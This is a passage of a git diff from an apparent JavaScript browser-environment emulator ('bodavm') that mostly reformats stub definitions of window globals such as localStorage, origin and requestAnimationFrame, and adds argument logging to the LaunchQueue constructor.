_boisinit:bodavm.config.isinit - } +// isSecureContext对象 + +bodavm.memory.globalobj['isSecureContext'] = { + _boisinit: bodavm.config.isinit +}; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/launchQueue.js b/env_xbb_lastest_jsdom/env/launchQueue.js index ba547677..1706a9e5 100644 --- a/env_xbb_lastest_jsdom/env/launchQueue.js +++ b/env_xbb_lastest_jsdom/env/launchQueue.js @@ -1,18 +1,32 @@ // LaunchQueue对象 -bodavm.memory.globalobj['LaunchQueue'] = function LaunchQueue(){if (!(this instanceof LaunchQueue)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - +bodavm.memory.globalobj['LaunchQueue'] = function LaunchQueue() { + console.log_copy('LaunchQueue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof LaunchQueue)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['LaunchQueue'], "LaunchQueue"); - -bodavm.toolsFunc.defineProperty('LaunchQueue', "setConsumer", {configurable:true, enumerable:true, writable:true, value:function setConsumer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LaunchQueue'].prototype, "LaunchQueue", "setConsumer", arguments)}},'prototype'); - - +bodavm.toolsFunc.defineProperty('LaunchQueue', "setConsumer", { + configurable: true, + enumerable: true, + writable: true, + value: function setConsumer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['LaunchQueue'].prototype, "LaunchQueue", "setConsumer", arguments); + } +}, 'prototype'); // launchQueue对象 bodavm.memory.globalobj['launchQueue'] = { - _boisinit:bodavm.config.isinit - } - -bodavm.memory.globalobj['launchQueue'].__proto__=bodavm.memory.globalobj['LaunchQueue'].prototype; - + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['launchQueue'].__proto__ = bodavm.memory.globalobj['LaunchQueue'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/localStorage.js b/env_xbb_lastest_jsdom/env/localStorage.js index 5d17bd8e..4686bbfe 100644 --- a/env_xbb_lastest_jsdom/env/localStorage.js +++ b/env_xbb_lastest_jsdom/env/localStorage.js @@ -1,8 +1,6 @@ // localStorage对象 bodavm.memory.globalobj['localStorage'] = { - _boisinit:bodavm.config.isinit - } - -bodavm.memory.globalobj['localStorage'].__proto__=bodavm.memory.globalobj['Storage'].prototype; - + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['localStorage'].__proto__ = bodavm.memory.globalobj['Storage'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/locationbar.js b/env_xbb_lastest_jsdom/env/locationbar.js index 636cb533..072b49c0 100644 --- a/env_xbb_lastest_jsdom/env/locationbar.js +++ b/env_xbb_lastest_jsdom/env/locationbar.js @@ -1,5 +1,6 @@ -// locationbar对象 -bodavm.memory.globalobj['locationbar'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['locationbar'].__proto__=bodavm.memory.globalobj['BarProp'].prototype; +// locationbar对象 + +bodavm.memory.globalobj['locationbar'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['locationbar'].__proto__ = bodavm.memory.globalobj['BarProp'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/matchMedia.js b/env_xbb_lastest_jsdom/env/matchMedia.js index 9604f8e1..3722b7bc 100644 --- a/env_xbb_lastest_jsdom/env/matchMedia.js +++ b/env_xbb_lastest_jsdom/env/matchMedia.js @@ -1,6 +1,17 @@ -// matchMedia对象 -bodavm.memory.globalobj['matchMedia'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('matchMedia', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('matchMedia', "name", {configurable:true, enumerable:false, writable:false, value:"matchMedia"}); +// matchMedia对象 + +bodavm.memory.globalobj['matchMedia'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('matchMedia', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('matchMedia', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "matchMedia" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/menubar.js b/env_xbb_lastest_jsdom/env/menubar.js index 19a77a7f..c2db2734 100644 --- a/env_xbb_lastest_jsdom/env/menubar.js +++ b/env_xbb_lastest_jsdom/env/menubar.js @@ -1,5 +1,6 @@ -// menubar对象 -bodavm.memory.globalobj['menubar'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['menubar'].__proto__=bodavm.memory.globalobj['BarProp'].prototype; +// menubar对象 + +bodavm.memory.globalobj['menubar'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['menubar'].__proto__ = bodavm.memory.globalobj['BarProp'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/moveBy.js b/env_xbb_lastest_jsdom/env/moveBy.js index c6e57c31..b34185ee 100644 --- a/env_xbb_lastest_jsdom/env/moveBy.js +++ b/env_xbb_lastest_jsdom/env/moveBy.js @@ -1,6 +1,17 @@ -// moveBy对象 -bodavm.memory.globalobj['moveBy'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('moveBy', "length", {configurable:true, enumerable:false, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('moveBy', "name", {configurable:true, enumerable:false, writable:false, value:"moveBy"}); +// moveBy对象 + +bodavm.memory.globalobj['moveBy'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('moveBy', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('moveBy', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "moveBy" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/moveTo.js b/env_xbb_lastest_jsdom/env/moveTo.js index 6d001de8..0ba7f95a 100644 --- a/env_xbb_lastest_jsdom/env/moveTo.js +++ b/env_xbb_lastest_jsdom/env/moveTo.js @@ -1,6 +1,17 @@ -// moveTo对象 -bodavm.memory.globalobj['moveTo'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('moveTo', "length", {configurable:true, enumerable:false, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('moveTo', "name", {configurable:true, enumerable:false, writable:false, value:"moveTo"}); +// moveTo对象 + +bodavm.memory.globalobj['moveTo'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('moveTo', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('moveTo', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "moveTo" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/name.js b/env_xbb_lastest_jsdom/env/name.js index 5aaf049d..ab5871ef 100644 --- a/env_xbb_lastest_jsdom/env/name.js +++ b/env_xbb_lastest_jsdom/env/name.js @@ -1,5 +1,11 @@ -// name对象 -bodavm.memory.globalobj['name'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('name', "length", {configurable:false, enumerable:false, writable:false, value:0}); +// name对象 + +bodavm.memory.globalobj['name'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('name', "length", { + configurable: false, + enumerable: false, + writable: false, + value: 0 +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/offscreenBuffering.js b/env_xbb_lastest_jsdom/env/offscreenBuffering.js index b6334ecf..a114346a 100644 --- a/env_xbb_lastest_jsdom/env/offscreenBuffering.js +++ b/env_xbb_lastest_jsdom/env/offscreenBuffering.js @@ -1,4 +1,5 @@ -// offscreenBuffering对象 -bodavm.memory.globalobj['offscreenBuffering'] = { - _boisinit:bodavm.config.isinit - } +// offscreenBuffering对象 + +bodavm.memory.globalobj['offscreenBuffering'] = { + _boisinit: bodavm.config.isinit +}; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/open.js b/env_xbb_lastest_jsdom/env/open.js index 5ef3521a..5ba61258 100644 --- a/env_xbb_lastest_jsdom/env/open.js +++ b/env_xbb_lastest_jsdom/env/open.js @@ -1,6 +1,17 @@ -// open对象 -bodavm.memory.globalobj['open'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('open', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('open', "name", {configurable:true, enumerable:false, writable:false, value:"open"}); +// open对象 + +bodavm.memory.globalobj['open'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('open', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('open', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "open" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/openDatabase.js b/env_xbb_lastest_jsdom/env/openDatabase.js index fbc9a4d9..ef5452db 100644 --- a/env_xbb_lastest_jsdom/env/openDatabase.js +++ b/env_xbb_lastest_jsdom/env/openDatabase.js @@ -1,6 +1,17 @@ -// openDatabase对象 -bodavm.memory.globalobj['openDatabase'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('openDatabase', "length", {configurable:true, enumerable:false, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('openDatabase', "name", {configurable:true, enumerable:false, writable:false, value:"openDatabase"}); +// openDatabase对象 + +bodavm.memory.globalobj['openDatabase'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('openDatabase', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('openDatabase', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "openDatabase" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/origin.js b/env_xbb_lastest_jsdom/env/origin.js index ef9d4fdb..3f1c011b 100644 --- a/env_xbb_lastest_jsdom/env/origin.js +++ b/env_xbb_lastest_jsdom/env/origin.js @@ -1,27 +1,143 @@ -// origin对象 -bodavm.memory.globalobj['origin'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('origin', "0", {configurable:false, enumerable:true, writable:false, value:"h"}); -bodavm.toolsFunc.defineProperty('origin', "1", {configurable:false, enumerable:true, writable:false, value:"t"}); -bodavm.toolsFunc.defineProperty('origin', "2", {configurable:false, enumerable:true, writable:false, value:"t"}); -bodavm.toolsFunc.defineProperty('origin', "3", {configurable:false, enumerable:true, writable:false, value:"p"}); -bodavm.toolsFunc.defineProperty('origin', "4", {configurable:false, enumerable:true, writable:false, value:":"}); -bodavm.toolsFunc.defineProperty('origin', "5", {configurable:false, enumerable:true, writable:false, value:"/"}); -bodavm.toolsFunc.defineProperty('origin', "6", {configurable:false, enumerable:true, writable:false, value:"/"}); -bodavm.toolsFunc.defineProperty('origin', "7", {configurable:false, enumerable:true, writable:false, value:"l"}); -bodavm.toolsFunc.defineProperty('origin', "8", {configurable:false, enumerable:true, writable:false, value:"o"}); -bodavm.toolsFunc.defineProperty('origin', "9", {configurable:false, enumerable:true, writable:false, value:"c"}); -bodavm.toolsFunc.defineProperty('origin', "10", {configurable:false, enumerable:true, writable:false, value:"a"}); -bodavm.toolsFunc.defineProperty('origin', "11", {configurable:false, enumerable:true, writable:false, value:"l"}); -bodavm.toolsFunc.defineProperty('origin', "12", {configurable:false, enumerable:true, writable:false, value:"h"}); -bodavm.toolsFunc.defineProperty('origin', "13", {configurable:false, enumerable:true, writable:false, value:"o"}); -bodavm.toolsFunc.defineProperty('origin', "14", {configurable:false, enumerable:true, writable:false, value:"s"}); -bodavm.toolsFunc.defineProperty('origin', "15", {configurable:false, enumerable:true, writable:false, value:"t"}); -bodavm.toolsFunc.defineProperty('origin', "16", {configurable:false, enumerable:true, writable:false, value:":"}); -bodavm.toolsFunc.defineProperty('origin', "17", {configurable:false, enumerable:true, writable:false, value:"6"}); -bodavm.toolsFunc.defineProperty('origin', "18", {configurable:false, enumerable:true, writable:false, value:"3"}); -bodavm.toolsFunc.defineProperty('origin', "19", {configurable:false, enumerable:true, writable:false, value:"3"}); -bodavm.toolsFunc.defineProperty('origin', "20", {configurable:false, enumerable:true, writable:false, value:"4"}); -bodavm.toolsFunc.defineProperty('origin', "21", {configurable:false, enumerable:true, writable:false, value:"2"}); -bodavm.toolsFunc.defineProperty('origin', "length", {configurable:false, enumerable:false, writable:false, value:22}); +// origin对象 + +bodavm.memory.globalobj['origin'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('origin', "0", { + configurable: false, + enumerable: true, + writable: false, + value: "h" +}); +bodavm.toolsFunc.defineProperty('origin', "1", { + configurable: false, + enumerable: true, + writable: false, + value: "t" +}); +bodavm.toolsFunc.defineProperty('origin', "2", { + configurable: false, + enumerable: true, + writable: false, + value: "t" +}); +bodavm.toolsFunc.defineProperty('origin', "3", { + configurable: false, + enumerable: true, + writable: false, + value: "p" +}); +bodavm.toolsFunc.defineProperty('origin', "4", { + configurable: false, + enumerable: true, + writable: false, + value: ":" +}); +bodavm.toolsFunc.defineProperty('origin', "5", { + configurable: false, + enumerable: true, + writable: false, + value: "/" +}); +bodavm.toolsFunc.defineProperty('origin', "6", { + configurable: false, + enumerable: true, + writable: false, + value: "/" +}); +bodavm.toolsFunc.defineProperty('origin', "7", { + configurable: false, + enumerable: true, + writable: false, + value: "l" +}); +bodavm.toolsFunc.defineProperty('origin', "8", { + configurable: false, + enumerable: true, + writable: false, + value: "o" +}); +bodavm.toolsFunc.defineProperty('origin', "9", { + configurable: false, + enumerable: true, + writable: false, + value: "c" +}); +bodavm.toolsFunc.defineProperty('origin', "10", { + configurable: false, + enumerable: true, + writable: false, + value: "a" +}); +bodavm.toolsFunc.defineProperty('origin', "11", { + configurable: false, + enumerable: true, + writable: false, + value: "l" +}); +bodavm.toolsFunc.defineProperty('origin', "12", { + configurable: false, + enumerable: true, + writable: false, + value: "h" +}); +bodavm.toolsFunc.defineProperty('origin', "13", { + configurable: false, + enumerable: true, + writable: false, + value: "o" +}); +bodavm.toolsFunc.defineProperty('origin', "14", { + configurable: false, + enumerable: true, + writable: false, + value: "s" +}); +bodavm.toolsFunc.defineProperty('origin', "15", { + configurable: false, + enumerable: true, + writable: false, + value: "t" +}); +bodavm.toolsFunc.defineProperty('origin', "16", { + configurable: false, + enumerable: true, + writable: false, + value: ":" +}); +bodavm.toolsFunc.defineProperty('origin', "17", { + configurable: false, + enumerable: true, + writable: false, + value: "6" +}); +bodavm.toolsFunc.defineProperty('origin', "18", { + configurable: false, + enumerable: true, + writable: false, + value: "3" +}); +bodavm.toolsFunc.defineProperty('origin', "19", { + configurable: false, + enumerable: true, + writable: false, + value: "3" +}); +bodavm.toolsFunc.defineProperty('origin', "20", { + configurable: false, + enumerable: true, + writable: false, + value: "4" +}); +bodavm.toolsFunc.defineProperty('origin', "21", { + configurable: false, + enumerable: true, + writable: false, + value: "2" +}); +bodavm.toolsFunc.defineProperty('origin', "length", { + configurable: false, + enumerable: false, + writable: false, + value: 22 +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/originAgentCluster.js b/env_xbb_lastest_jsdom/env/originAgentCluster.js index 009d7ce7..f88f4854 100644 --- a/env_xbb_lastest_jsdom/env/originAgentCluster.js +++ b/env_xbb_lastest_jsdom/env/originAgentCluster.js @@ -1,4 +1,5 @@ -// originAgentCluster对象 -bodavm.memory.globalobj['originAgentCluster'] = { - _boisinit:bodavm.config.isinit - } +// originAgentCluster对象 + +bodavm.memory.globalobj['originAgentCluster'] = { + _boisinit: bodavm.config.isinit +}; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/outerHeight.js b/env_xbb_lastest_jsdom/env/outerHeight.js index d43fffc1..b0532a62 100644 --- a/env_xbb_lastest_jsdom/env/outerHeight.js +++ b/env_xbb_lastest_jsdom/env/outerHeight.js @@ -1,4 +1,5 @@ -// outerHeight对象 -bodavm.memory.globalobj['outerHeight'] = { - _boisinit:bodavm.config.isinit - } +// outerHeight对象 + +bodavm.memory.globalobj['outerHeight'] = { + _boisinit: bodavm.config.isinit +}; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/outerWidth.js b/env_xbb_lastest_jsdom/env/outerWidth.js index 91f8ddb4..57b61c8d 100644 --- a/env_xbb_lastest_jsdom/env/outerWidth.js +++ b/env_xbb_lastest_jsdom/env/outerWidth.js @@ -1,4 +1,5 @@ -// outerWidth对象 -bodavm.memory.globalobj['outerWidth'] = { - _boisinit:bodavm.config.isinit - } +// outerWidth对象 + +bodavm.memory.globalobj['outerWidth'] = { + _boisinit: bodavm.config.isinit +}; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/pageXOffset.js b/env_xbb_lastest_jsdom/env/pageXOffset.js index b9868890..c3f4aa19 100644 --- a/env_xbb_lastest_jsdom/env/pageXOffset.js +++ b/env_xbb_lastest_jsdom/env/pageXOffset.js @@ -1,4 +1,5 @@ -// pageXOffset对象 -bodavm.memory.globalobj['pageXOffset'] = { - _boisinit:bodavm.config.isinit - } +// pageXOffset对象 + +bodavm.memory.globalobj['pageXOffset'] = { + _boisinit: bodavm.config.isinit +}; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/pageYOffset.js b/env_xbb_lastest_jsdom/env/pageYOffset.js index ee0e6035..a21c511f 100644 --- a/env_xbb_lastest_jsdom/env/pageYOffset.js +++ b/env_xbb_lastest_jsdom/env/pageYOffset.js @@ -1,4 +1,5 @@ -// pageYOffset对象 -bodavm.memory.globalobj['pageYOffset'] = { - _boisinit:bodavm.config.isinit - } +// pageYOffset对象 + +bodavm.memory.globalobj['pageYOffset'] = { + _boisinit: bodavm.config.isinit +}; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/personalbar.js b/env_xbb_lastest_jsdom/env/personalbar.js index 238d978d..30ad3569 100644 --- a/env_xbb_lastest_jsdom/env/personalbar.js +++ b/env_xbb_lastest_jsdom/env/personalbar.js @@ -1,5 +1,6 @@ -// personalbar对象 -bodavm.memory.globalobj['personalbar'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['personalbar'].__proto__=bodavm.memory.globalobj['BarProp'].prototype; +// personalbar对象 + +bodavm.memory.globalobj['personalbar'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['personalbar'].__proto__ = bodavm.memory.globalobj['BarProp'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/postMessage.js b/env_xbb_lastest_jsdom/env/postMessage.js index a0e1785e..ff34637d 100644 --- a/env_xbb_lastest_jsdom/env/postMessage.js +++ b/env_xbb_lastest_jsdom/env/postMessage.js @@ -1,6 +1,17 @@ -// postMessage对象 -bodavm.memory.globalobj['postMessage'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('postMessage', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('postMessage', "name", {configurable:true, enumerable:false, writable:false, value:"postMessage"}); +// postMessage对象 + +bodavm.memory.globalobj['postMessage'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('postMessage', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('postMessage', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "postMessage" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/print.js b/env_xbb_lastest_jsdom/env/print.js index 31a36c38..ed1989be 100644 --- a/env_xbb_lastest_jsdom/env/print.js +++ b/env_xbb_lastest_jsdom/env/print.js @@ -1,6 +1,17 @@ -// print对象 -bodavm.memory.globalobj['print'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('print', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('print', "name", {configurable:true, enumerable:false, writable:false, value:"print"}); +// print对象 + +bodavm.memory.globalobj['print'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('print', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('print', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "print" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/prompt.js b/env_xbb_lastest_jsdom/env/prompt.js index 899cb1ad..46406c73 100644 --- a/env_xbb_lastest_jsdom/env/prompt.js +++ b/env_xbb_lastest_jsdom/env/prompt.js @@ -1,6 +1,17 @@ -// prompt对象 -bodavm.memory.globalobj['prompt'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('prompt', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('prompt', "name", {configurable:true, enumerable:false, writable:false, value:"prompt"}); +// prompt对象 + +bodavm.memory.globalobj['prompt'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('prompt', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('prompt', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "prompt" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/queryLocalFonts.js b/env_xbb_lastest_jsdom/env/queryLocalFonts.js index c53bd760..e244a0ac 100644 --- a/env_xbb_lastest_jsdom/env/queryLocalFonts.js +++ b/env_xbb_lastest_jsdom/env/queryLocalFonts.js @@ -1,6 +1,17 @@ -// queryLocalFonts对象 -bodavm.memory.globalobj['queryLocalFonts'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('queryLocalFonts', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('queryLocalFonts', "name", {configurable:true, enumerable:false, writable:false, value:"queryLocalFonts"}); +// queryLocalFonts对象 + +bodavm.memory.globalobj['queryLocalFonts'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('queryLocalFonts', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('queryLocalFonts', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "queryLocalFonts" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/queueMicrotask.js b/env_xbb_lastest_jsdom/env/queueMicrotask.js index f85f1f35..353e1ec2 100644 --- a/env_xbb_lastest_jsdom/env/queueMicrotask.js +++ b/env_xbb_lastest_jsdom/env/queueMicrotask.js @@ -1,6 +1,17 @@ -// queueMicrotask对象 -bodavm.memory.globalobj['queueMicrotask'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('queueMicrotask', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('queueMicrotask', "name", {configurable:true, enumerable:false, writable:false, value:"queueMicrotask"}); +// queueMicrotask对象 + +bodavm.memory.globalobj['queueMicrotask'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('queueMicrotask', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('queueMicrotask', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "queueMicrotask" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/releaseEvents.js b/env_xbb_lastest_jsdom/env/releaseEvents.js index 552a5375..f1c8573d 100644 --- a/env_xbb_lastest_jsdom/env/releaseEvents.js +++ b/env_xbb_lastest_jsdom/env/releaseEvents.js @@ -1,6 +1,17 @@ -// releaseEvents对象 -bodavm.memory.globalobj['releaseEvents'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('releaseEvents', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('releaseEvents', "name", {configurable:true, enumerable:false, writable:false, value:"releaseEvents"}); +// releaseEvents对象 + +bodavm.memory.globalobj['releaseEvents'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('releaseEvents', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('releaseEvents', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "releaseEvents" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/reportError.js b/env_xbb_lastest_jsdom/env/reportError.js index c31ff9eb..7014caec 100644 --- a/env_xbb_lastest_jsdom/env/reportError.js +++ b/env_xbb_lastest_jsdom/env/reportError.js @@ -1,6 +1,17 @@ -// reportError对象 -bodavm.memory.globalobj['reportError'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('reportError', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('reportError', "name", {configurable:true, enumerable:false, writable:false, value:"reportError"}); +// reportError对象 + +bodavm.memory.globalobj['reportError'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('reportError', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('reportError', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "reportError" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/requestAnimationFrame.js b/env_xbb_lastest_jsdom/env/requestAnimationFrame.js index 365c1335..c2d5fce3 100644 --- a/env_xbb_lastest_jsdom/env/requestAnimationFrame.js +++ b/env_xbb_lastest_jsdom/env/requestAnimationFrame.js @@ -1,6 +1,17 @@ -// requestAnimationFrame对象 -bodavm.memory.globalobj['requestAnimationFrame'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('requestAnimationFrame', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('requestAnimationFrame', "name", {configurable:true, enumerable:false, writable:false, value:"requestAnimationFrame"}); +// requestAnimationFrame对象 + +bodavm.memory.globalobj['requestAnimationFrame'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('requestAnimationFrame', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('requestAnimationFrame', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "requestAnimationFrame" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/requestIdleCallback.js b/env_xbb_lastest_jsdom/env/requestIdleCallback.js index 49a7ccd9..05494bd0 100644 --- a/env_xbb_lastest_jsdom/env/requestIdleCallback.js +++ b/env_xbb_lastest_jsdom/env/requestIdleCallback.js @@ -1,6 +1,17 @@ -// requestIdleCallback对象 -bodavm.memory.globalobj['requestIdleCallback'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('requestIdleCallback', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('requestIdleCallback', "name", {configurable:true, enumerable:false, writable:false, value:"requestIdleCallback"}); +// requestIdleCallback对象 + +bodavm.memory.globalobj['requestIdleCallback'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('requestIdleCallback', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('requestIdleCallback', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "requestIdleCallback" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/resizeBy.js b/env_xbb_lastest_jsdom/env/resizeBy.js index 04127fde..f99e0b59 100644 --- a/env_xbb_lastest_jsdom/env/resizeBy.js +++ b/env_xbb_lastest_jsdom/env/resizeBy.js @@ -1,6 +1,17 @@ -// resizeBy对象 -bodavm.memory.globalobj['resizeBy'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('resizeBy', "length", {configurable:true, enumerable:false, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('resizeBy', "name", {configurable:true, enumerable:false, writable:false, value:"resizeBy"}); +// resizeBy对象 + +bodavm.memory.globalobj['resizeBy'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('resizeBy', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('resizeBy', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "resizeBy" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/resizeTo.js b/env_xbb_lastest_jsdom/env/resizeTo.js index aad25b53..00af3073 100644 --- a/env_xbb_lastest_jsdom/env/resizeTo.js +++ b/env_xbb_lastest_jsdom/env/resizeTo.js @@ -1,6 +1,17 @@ -// resizeTo对象 -bodavm.memory.globalobj['resizeTo'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('resizeTo', "length", {configurable:true, enumerable:false, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('resizeTo', "name", {configurable:true, enumerable:false, writable:false, value:"resizeTo"}); +// resizeTo对象 + +bodavm.memory.globalobj['resizeTo'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('resizeTo', "length", { + configurable: true, + enumerable: false, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('resizeTo', "name", { + configurable: true, + enumerable: false, + writable: false, + value: "resizeTo" +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/screenLeft.js b/env_xbb_lastest_jsdom/env/screenLeft.js index 